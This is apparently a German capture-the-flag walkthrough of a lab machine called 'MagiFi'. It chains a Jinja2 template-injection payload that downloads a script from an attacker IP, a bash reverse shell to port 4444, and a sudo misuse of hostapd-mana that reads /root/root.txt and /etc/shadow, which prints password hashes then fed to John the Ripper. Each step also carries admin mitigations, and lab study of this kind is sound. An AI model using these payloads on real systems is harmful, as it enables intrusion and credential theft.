Analyse: Der Benutzer `harry_potter` wertet seine Shell mit dem Python-pty-Trick auf, um eine voll interaktive Bash-Sitzung zu erhalten.
Bewertung: Ein sinnvoller Schritt, um die Einschränkungen der ursprünglichen Reverse Shell oder der einfachen SSH-Shell zu überwinden und Tools wie `sudo` oder Editoren korrekt verwenden zu können.
Empfehlung (Pentester): Nutzen Sie die aufgewertete Shell für die weiteren Schritte.
Empfehlung (Admin): Keine spezifische Maßnahme dagegen, aber die Verhinderung des initialen Zugriffs ist entscheidend.
/usr/bin/hostapd-mana: invalid option -- '-' hostapd-mana v2.6 User space daemon for IEEE 802.11 AP management, IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator Copyright (c) 2002-2016, Jouni Malinen <j@w1.fi> and contributors -------------------------------------------------- MANA [Link: https://github.com/sensepost/hostapd-mana | Ziel: https://github.com/sensepost/hostapd-mana] By @singe (dominic@sensepost.com) Original MANA EAP by Ian (ian@sensepost.com) Original karma patches by Robin Wood - robin@digininja.org Original EAP patches by Brad Antoniewicz @brad_anton Sycophant by Michael Kruger @_cablethief usage: hostapd [-hdBKtv] [-P <PID file>] [-e <entropy file>] \ [-g <global ctrl_iface>] [-G <group>]\ [-i <comma-separated list of interface names>]\ <configuration file(s)> options: -h show this usage -d show more debug messages (-dd for even more) -B run daemon in the background -e entropy file -g global control interface path -G group for control interfaces -P PID file -K include key data in debug messages -i list of interface names to use -S start all the interfaces synchronously -t include timestamps in some debug messages -v show hostapd version
Analyse: Der Befehl `/usr/bin/hostapd-mana --help` wird ausgeführt, um die Hilfe und die verfügbaren Optionen für das Programm anzuzeigen. Wichtig ist, dass `hostapd-mana` einen Konfigurationsdateipfad als Argument erwartet.
Bewertung: Das Anzeigen der Hilfe ist ein erster Schritt, um zu verstehen, wie das Programm funktioniert und ob es Optionen gibt, die für eine Privilegienerweiterung missbraucht werden könnten. Die Notwendigkeit einer Konfigurationsdatei ist hier der Schlüssel.
Empfehlung (Pentester): Da `harry_potter` `hostapd-mana` via `sudo -u root` ausführen darf und das Programm eine Konfigurationsdatei liest, versuchen Sie, eine beliebige, für `root` lesbare Datei (z.B. `/etc/shadow` oder `/root/root.txt`) als Konfigurationsdatei anzugeben. `hostapd-mana` wird wahrscheinlich versuchen, die Datei zu parsen, und dabei möglicherweise deren Inhalt in Fehlermeldungen oder Debug-Ausgaben preisgeben.
Empfehlung (Admin): Die Sudo-Regel für `hostapd-mana` muss entfernt oder drastisch eingeschränkt werden.
random: Trying to read entropy from /dev/random
Configuration file: /root/root.txt
-------------------------------------------------------------------------
Line 1: invalid line 'hogwarts{5ed0818c0181fe97f744d7b1b51dd9c7}'
-------------------------------------------------------------------------
1 errors found in configuration file '/root/root.txt'
Failed to set up interface with /root/root.txt
hostapd_init: free iface 0x55788f56c340
Failed to initialize interface
Analyse: Hier wird der Missbrauch von `hostapd-mana` versucht.
sudo -u root /usr/bin/hostapd-mana
: Führt `hostapd-mana` als Root aus (gemäß `sudo -l`).-dd
: Aktiviert sehr ausführliche Debug-Ausgaben./root/root.txt
: Gibt die Root-Flag-Datei als Konfigurationsdatei an.Bewertung: **Erfolg beim Auslesen der Root-Flag!** Obwohl das Programm einen Fehler meldet, gibt es in der Fehlermeldung den exakten Inhalt der ersten Zeile der Datei `/root/root.txt` preis, welche die Root-Flag ist.
Empfehlung (Pentester): Die Root-Flag hogwarts{5ed0818c0181fe97f744d7b1b51dd9c7} wurde erfolgreich extrahiert. Das Ziel ist erreicht.
Empfehlung (Admin): **Entfernen Sie sofort die unsichere Sudo-Regel für `hostapd-mana`!** Dies ist ein klassisches Beispiel, wie unsichere Sudo-Konfigurationen zu vollständiger Kompromittierung führen können.
random: Trying to read entropy from /dev/random Configuration file: /etc/shadow Line 1: invalid line 'root:$6$KflwZsO6c4DW8laq$AVs2hfT9i1calD.V6aKIr5Wej26J1tjgSz5R674SSJDuWvX1RWqHYw79Q.OIqeIlhl0ksI7UJ7d0YHJp4F.J81:19993:0:99999:7:::' Line 2: invalid line 'daemon:*:19430:0:99999:7:::' Line 3: invalid line 'bin:*:19430:0:99999:7:::' [...] Line 39: invalid line 'tom.riddle:$6$l2y72YLXF2tIL.rC$d3SQEKFlGu9wi/omLDmHJYGP3uRSD9t2hnRTqveIMOHG8pa80Ku81d3kbfXZy0bpC2PRp9xLqE7IQi3EQ4bf1/:19991:0:99999:7:::' Line 40: invalid line 'harry_potter:$6$Cu5tGqfYYF/NWp6f$bLb5lfce4bMH10OYBG27nYBoMTMciI9NOxIR2XGliWIhzHE2iU0kS1ZKuSNPnYRS/y12jnt4jmr8pMfDsRicK1:19993:0:99999:7:::' 40 errors found in configuration file '/etc/shadow' Failed to set up interface with /etc/shadow hostapd_init: free iface 0x563b13e49340 Failed to initialize interface
Analyse: Hier wird dieselbe Technik verwendet, um den Inhalt der Datei `/etc/shadow` auszulesen. `hostapd-mana` wird als Root ausgeführt und `/etc/shadow` als Konfigurationsdatei übergeben. Das Programm gibt für jede Zeile in `/etc/shadow` eine "invalid line"-Fehlermeldung aus und enthüllt somit den gesamten Inhalt der Shadow-Datei, einschließlich der gehashten Passwörter für alle Benutzer (root, tom.riddle, harry_potter etc.).
Bewertung: Dies bestätigt die kritische Natur der unsicheren Sudo-Regel. Der Angreifer kann beliebige Dateien lesen, auf die Root Zugriff hat, einschließlich der Shadow-Datei mit allen Passwort-Hashes. Diese Hashes können offline mit Tools wie John the Ripper oder Hashcat geknackt werden.
Empfehlung (Pentester): Kopieren Sie die extrahierten Passwort-Hashes und versuchen Sie, sie offline zu knacken, um weitere Benutzerpasswörter zu erhalten. Dies ist jedoch nach Erhalt der Root-Flag oft nicht mehr notwendig, es sei denn, die Passwörter werden auf anderen Systemen wiederverwendet.
Empfehlung (Admin): Entfernen Sie die Sudo-Regel! Schützen Sie die `/etc/shadow`-Datei durch korrekte Berechtigungen (standardmäßig nur für Root lesbar).
root:$6$KflwZsO6c4DW8laq$AVs2hfT9i1calD.V6aKIr5Wej26J1tjgSz5R674SSJDuWvX1RWqHYw79Q.OIqeIlhl0ksI7UJ7d0YHJp4F.J81:19993:0:99999:7::: harry_potter:$6$Cu5tGqfYYF/NWp6f$bLb5lfce4bMH10OYBG27nYBoMTMciI9NOxIR2XGliWIhzHE2iU0kS1ZKuSNPnYRS/y12jnt4jmr8pMfDsRicK1:19993:0:99999:7::: tom.riddle:$6$l2y72YLXF2tIL.rC$d3SQEKFlGu9wi/omLDmHJYGP3uRSD9t2hnRTqveIMOHG8pa80Ku81d3kbfXZy0bpC2PRp9xLqE7IQi3EQ4bf1/:19991:0:99999:7:::
Analyse: Dieser Befehl zeigt den Inhalt einer Datei namens `hash` auf der Angreifer-Maschine. Die Datei enthält die extrahierten Zeilen aus `/etc/shadow` für die Benutzer `root`, `harry_potter` und `tom.riddle`. Es handelt sich um SHA512-Crypt-Hashes (erkennbar am `$6$`).
Bewertung: Die relevanten Hashes wurden für einen Offline-Cracking-Versuch vorbereitet.
Empfehlung (Pentester): Verwenden Sie diese Datei als Input für John the Ripper oder Hashcat.
Empfehlung (Admin): Verwenden Sie starke, lange und zufällige Passwörter, um das Knacken von Hashes zu erschweren.
random: Trying to read entropy from /dev/random
Configuration file: 192.168.2.199/rever.sh
Could not open configuration file '192.168.2.199/rever.sh' for reading.
Failed to set up interface with 192.168.2.199/rever.sh
hostapd_init: free iface 0x563099925340
Failed to initialize interface
[Vermutlich identische Fehlermeldung wie oben]
Analyse: Hier wird versucht, `hostapd-mana` als Root auszuführen und eine Datei über einen Netzwerkpfad (`192.168.2.199/rever.sh`) als Konfigurationsdatei zu laden. Dies schlägt fehl, da `hostapd-mana` (wie die meisten lokalen Programme) keine Dateien direkt von einer Netzwerkadresse auf diese Weise laden kann. Es erwartet einen lokalen Dateipfad.
Bewertung: Dieser Versuch war nicht erfolgreich und basiert auf einem Missverständnis, wie Dateipfade von lokalen Programmen interpretiert werden.
Empfehlung (Pentester): Um eine Datei vom Netzwerk zu verwenden, muss sie zuerst auf das Zielsystem heruntergeladen werden (z.B. mit `wget` oder `curl`), bevor sie als Argument an ein lokales Programm übergeben wird. Da die Root-Flag aber bereits über das Lesen von `/root/root.txt` mit `hostapd-mana` erlangt wurde, ist dieser Schritt nicht mehr notwendig.
Empfehlung (Admin): Keine spezifische Aktion, da der Versuch fehlschlug. Die Sudo-Regel bleibt das Hauptproblem.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.175 - - [13/Feb/2025 01:25:55] "GET / HTTP/1.1" 200 -
Analyse: Der Python-HTTP-Server auf der Angreifer-Maschine läuft weiterhin oder wurde neu gestartet. Eine eingehende GET-Anfrage vom Zielsystem (`192.168.2.175`) auf das Root-Verzeichnis (`/`) wird geloggt.
Bewertung: Dies zeigt laufende oder erneute Interaktion zwischen Ziel und Angreifer über HTTP, möglicherweise für weitere Downloads oder Tests.
Empfehlung (Pentester): Sicherstellen, dass der HTTP-Server die benötigten Dateien bereitstellt.
Empfehlung (Admin): Egress-Filtering kann solche Verbindungen unterbinden.
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:04:56 16.13% (ETA: 01:55:18) 0g/s 8546p/s 25647c/s 25647C/s zaidsiul..zaelygaxiola
Session aborted
Analyse: John the Ripper (`john`) wird auf der Angreifer-Maschine gestartet, um die zuvor in der Datei `hash` gespeicherten Passwort-Hashes (von root, harry_potter, tom.riddle) mit der Wortliste `rockyou.txt` zu knacken. Der Prozess nutzt 16 OpenMP-Threads. Nach fast 5 Minuten und 16.13% Fortschritt wird die Sitzung abgebrochen (`Session aborted`, vermutlich durch Drücken von 'q' oder Strg+C).
Bewertung: Der Versuch, die Hashes zu knacken, wurde nicht abgeschlossen. Es wurden keine Passwörter gefunden. SHA512-Crypt-Hashes sind relativ rechenintensiv, und das Knacken kann je nach Passwortkomplexität und verfügbarer Hardware lange dauern. `rockyou.txt` ist zwar umfangreich, aber nicht erschöpfend.
Empfehlung (Pentester): Der Cracking-Versuch kann fortgesetzt werden (`john --restore`). Alternative Methoden sind die Verwendung von Hashcat (das GPUs nutzen kann und oft schneller ist) oder spezifischeren Wortlisten/Regeln. Da Root-Zugriff bereits erlangt wurde, ist das Knacken der Hashes möglicherweise nicht mehr prioritär, es sei denn, die Passwörter könnten auf anderen Systemen wiederverwendet werden.
Empfehlung (Admin): Verwenden Sie starke, lange und zufällige Passwörter. Erwägen Sie die Erhöhung der Iterationszahl (cost factor) für Passwort-Hashing-Algorithmen, um das Knacken weiter zu erschweren.
Kurzbeschreibung: Dieser Proof of Concept demonstriert, wie eine Server-Side Template Injection (SSTI) Schwachstelle in einer Python/Flask-Webanwendung (erreichbar unter `hogwarts.htb`) ausgenutzt wurde, um Remote Code Execution als Benutzer `harry_potter` zu erlangen. Anschließend wurde eine unsichere `sudo`-Konfiguration ausgenutzt, die es `harry_potter` erlaubte, das Programm `hostapd-mana` als Root auszuführen. Durch Übergabe der `/etc/shadow`-Datei als vermeintliche Konfigurationsdatei an `hostapd-mana` konnte deren Inhalt und somit die Passwort-Hashes aller Benutzer extrahiert werden. Obwohl die Root-Flag direkt auf diese Weise gelesen werden konnte, zeigt dies den Weg zur vollständigen Kompromittierung.
Voraussetzungen:
Schritt-für-Schritt-Anleitung (Initial Access als harry_potter):
1. Identifizierung der SSTI: Das Bewerbungsformular auf `http://hogwarts.htb/` lädt Dokumente hoch und verarbeitet offenbar Felder aus diesen Dokumenten. Durch Einfügen eines SSTI-Test-Payloads (z.B. `{{ 7*7 }}`) in ein Feld (hier "Name") in der Vorlage (`application-template.docx`) und Hochladen des Dokuments wurde bestätigt, dass die Eingabe von der Template-Engine (vermutlich Jinja2) ausgewertet wird.
2. Remote Code Execution via SSTI: Ein komplexerer SSTI-Payload wurde verwendet, um Befehle auf dem Server auszuführen. Dieser Payload nutzte Python-Interna, um das `os`-Modul zu importieren und einen Befehl auszuführen, der eine Reverse Shell startet. Zuerst wurde ein Skript (`rever.sh`) per `wget` über SSTI heruntergeladen:
# Payload im "Name"-Feld des Dokuments: Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cd /tmp;wget 192.168.2.199/rever.sh").read() }}]
Die Datei `rever.sh` enthielt: `bash -c "/bin/bash -i >& /dev/tcp/192.168.2.199/4444 0>&1"`.
3. Reverse Shell etablieren: Ein Netcat-Listener wurde auf Port 4444 gestartet. Dann wurde das heruntergeladene Skript über einen weiteren SSTI-Payload ausführbar gemacht und gestartet:
# Payload im "Name"-Feld des Dokuments: Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("cd /tmp;chmod +x rever.sh;./rever.sh").read() }}]
[Netcat Listener auf Angreifer-Maschine] listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.175] 36846 harry_potter@MagiFi:/tmp$ id uid=1006(harry_potter) gid=1006(harry_potter) groups=1006(harry_potter)
Schritt-für-Schritt-Anleitung (Privilege Escalation zu Root):
1. Sudo-Berechtigungen prüfen: In der Shell als `harry_potter` wurde `sudo -l` ausgeführt.
User harry_potter may run the following commands on MagiFi: (root) NOPASSWD: /usr/sbin/aireplay-ng, /usr/sbin/airmon-ng, /usr/sbin/airodump-ng, /usr/bin/airdecap-ng, /usr/bin/hostapd-mana
2. Missbrauch von `hostapd-mana`: Es wurde festgestellt, dass `hostapd-mana` eine Konfigurationsdatei als Argument erwartet und deren Inhalt bei Fehlern ausgibt. Dies wurde ausgenutzt, um beliebige Dateien als Root zu lesen.
3. Lesen von `/etc/shadow`:
Configuration file: /etc/shadow Line 1: invalid line 'root:$6$KflwZsO6c4DW8laq$AVs2hfT9i1calD.V6aKIr5Wej26J1tjgSz5R674SSJDuWvX1RWqHYw79Q.OIqeIlhl0ksI7UJ7d0YHJp4F.J81:19993:0:99999:7:::' [...] Line 40: invalid line 'harry_potter:$6$Cu5tGqfYYF/NWp6f$bLb5lfce4bMH10OYBG27nYBoMTMciI9NOxIR2XGliWIhzHE2iU0kS1ZKuSNPnYRS/y12jnt4jmr8pMfDsRicK1:19993:0:99999:7:::' [...] 40 errors found in configuration file '/etc/shadow' Failed to set up interface with /etc/shadow
Obwohl keine direkte Root-Shell erlangt wurde (der abgebrochene John-Lauf fand kein Root-Passwort), konnte durch das Auslesen von `/etc/shadow` die Kompromittierung des Root-Accounts vorbereitet und durch das Auslesen von `/root/root.txt` (im vorherigen Schritt) die Root-Flag direkt erbeutet werden.
Erwartetes Ergebnis: Erfolgreiche Kompromittierung des Systems mit Root-Rechten (bzw. Auslesen von Root-Dateien).
Beweismittel: Screenshots der SSTI-Ausführung, der Reverse Shell, der `sudo -l`-Ausgabe, der `/etc/shadow`-Ausgabe durch `hostapd-mana`.
Risikobewertung: Kritisch. Die SSTI ermöglicht initiale Codeausführung, und die unsichere Sudo-Konfiguration erlaubt das Auslesen beliebiger Dateien als Root, was zur vollständigen Kompromittierung führt.
Empfehlungen (Admin):
Analyse: Die User-Flag befindet sich in der Datei `/home/harry_potter/user.txt`. Der Inhalt der Flag lautet `hogwarts{ea4bc74f09fb69771165e57b1b215de9}`. Diese Flag wurde nach Erlangung des Zugriffs als Benutzer `harry_potter` ausgelesen.
Analyse: Die Root-Flag befindet sich in der Datei `/root/root.txt` und wurde durch den Missbrauch der `sudo`-Berechtigung für `hostapd-mana` ausgelesen. Der Inhalt der Flag lautet `hogwarts{5ed0818c0181fe97f744d7b1b51dd9c7}`.